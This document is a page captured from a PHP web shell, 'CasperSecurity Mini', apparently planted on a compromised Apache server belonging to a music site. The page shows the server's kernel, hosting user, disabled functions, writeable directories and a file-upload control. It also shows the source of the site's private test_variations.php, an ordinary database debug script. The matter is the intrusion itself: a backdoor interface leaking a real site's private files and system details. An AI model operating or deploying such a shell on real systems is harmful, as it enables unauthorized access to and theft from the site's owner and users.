T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/soundstudiopro.com/private_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/soundstudiopro.com/private_html/test_variations.php
<?php
require_once 'config/database.php';

echo "<h2>Test Variations Data</h2>";

try {
    $pdo = getDBConnection();
    
    // Get a track with variations
    $stmt = $pdo->query("
        SELECT 
            mt.id,
            mt.title as track_title,
            COUNT(av.id) as variation_count
        FROM music_tracks mt
        LEFT JOIN audio_variations av ON mt.id = av.track_id
        GROUP BY mt.id, mt.title
        HAVING variation_count > 0
        ORDER BY variation_count DESC
        LIMIT 1
    ");
    $track = $stmt->fetch();
    
    if ($track) {
        echo "<p><strong>Testing with track:</strong> " . htmlspecialchars($track['track_title']) . " (ID: {$track['id']})</p>";
        
        // Get variations for this track
        $stmt = $pdo->prepare("
            SELECT 
                id,
                variation_index,
                audio_url,
                duration,
                title,
                created_at
            FROM audio_variations 
            WHERE track_id = ? 
            ORDER BY variation_index ASC
        ");
        $stmt->execute([$track['id']]);
        $variations = $stmt->fetchAll();
        
        echo "<h3>Variations Data:</h3>";
        foreach ($variations as $variation) {
            echo "<div style='border: 1px solid #ccc; padding: 10px; margin: 10px; background: #f9f9f9;'>";
            echo "<strong>ID:</strong> " . $variation['id'] . "<br>";
            echo "<strong>Variation Index:</strong> " . $variation['variation_index'] . "<br>";
            echo "<strong>Title:</strong> " . htmlspecialchars($variation['title']) . " <em>(raw: " . var_export($variation['title'], true) . ")</em><br>";
            echo "<strong>Duration:</strong> " . $variation['duration'] . "s<br>";
            echo "<strong>Audio URL:</strong> " . htmlspecialchars($variation['audio_url']) . "<br>";
            echo "</div>";
        }
        
        // Test the API endpoint
        echo "<h3>Testing API Endpoint:</h3>";
        $api_url = "api/get_variations.php?track_id=" . $track['id'];
        echo "<p>API URL: <code>$api_url</code></p>";
        
        // Make a request to the API
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $api_url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_COOKIE, "PHPSESSID=" . session_id());
        $response = curl_exec($ch);
        curl_close($ch);
        
        if ($response) {
            $data = json_decode($response, true);
            echo "<p><strong>API Response:</strong></p>";
            echo "<pre>" . htmlspecialchars(json_encode($data, JSON_PRETTY_PRINT)) . "</pre>";
        } else {
            echo "<p><strong>❌ API request failed</strong></p>";
        }
        
    } else {
        echo "<p><strong>❌ No tracks with variations found</strong></p>";
    }
    
} catch (Exception $e) {
    echo "<p><strong>❌ Error:</strong> " . htmlspecialchars($e->getMessage()) . "</p>";
}
?>

CasperSecurity Mini